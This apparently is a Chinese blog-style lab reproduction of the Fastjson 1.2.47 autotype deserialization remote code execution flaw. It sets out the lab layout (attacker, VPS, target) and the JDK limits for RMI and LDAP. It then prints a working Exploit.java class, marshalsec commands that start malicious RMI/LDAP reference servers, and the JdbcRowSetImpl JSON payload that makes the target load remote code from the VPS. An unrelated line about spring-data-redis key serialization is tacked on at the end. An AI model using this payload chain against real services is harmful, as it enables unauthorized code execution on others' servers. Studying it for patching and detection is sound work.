80337960 2020-06-10
Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
漏洞利用如下:
Fastjson1.2.47以及之前的版本
1、攻击机
IP地址:192.168.214.1
操作系统:windows10
利用工具:火狐游览器、Burp Suite
2、VPS服务器
IP地址:192.168.214.137
操作系统:centos7.4
相关应用:tomcat8,jdk8u181
开启端口:8080
利用工具:marshalsec-0.0.3-SNAPSHOT-all.jar
3、靶机
IP地址:192.168.214.138
操作系统:windows server 2008 r2 standard
相关应用:tomcat7,jdk8u181
开启端口:8080
攻击思路:攻击机利用burpsuite构造playload,通过访问vps服务器攻击靶机,进行命令执行。
复现漏洞注意:jdk不能高于如下版本,VPS和靶机的jdk版本保持一致最佳
反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。RMI是一种行为,指的是Java远程方法调用。
ldap指轻量级目录访问协议。具体可参考https://xz.aliyun.com/t/7079
Rmi与ldap存在java版本限制:
基于rmi的利用方式:适用jdk版本:JDK 6u141, JDK 7u131, JDK 8u121之前。
在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。
基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u182、7u191、6u201之前。
在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
1、将含有fastjson-1.2.47.jar的demo压缩包解压,布置在靶机的webapps目录下,开启tomcat服务,浏览器能够正常进行访问
攻击机能够正常访问靶机的demo。
2、将marshalsec-0.0.3-SNAPSHOT-all.jar 和编译好的Exploit.class上传到VPS服务器的网站根目录下
使用浏览器可以进行访问或者下载,
Exploit.java构造的执行命令内容如下:
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});//执行命令打开计算器程序 InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }
然后在VPS服务器上可以使用RMI或者LDAP的服务,将reference result 重定向到web服务器(即文件Exploit.class的存放位置)。
1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x/#Exploit" 9999 2 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://x.x.x.x/#Exploit" 9999
这里我使用的是LDAP服务,毕竟覆盖的jdk版本范围更广,更容易复现漏洞,在网站根目录下使用marshalsec-0.0.3-SNAPSHOT-all.jar工具开启LDAP。
3、攻击机上使用火狐游览器访问靶机的demo服务,使用burpsuite截包,构造playload重发包
Playload构造如下:
{ "name": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "x": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.214.137:9999/Exploit", "autoCommit": true } }
4、执行结果
VPS显示已连接,执行了Expolit.class,
攻击机通过fastjson漏洞执行命令,打开了靶机的计算器。
spring-data-redis RedisTemplate 操作redis时发现存储在redis中的key不是设置的string值,前面还多出了许多类似\xac\xed\x00\x05t\x00;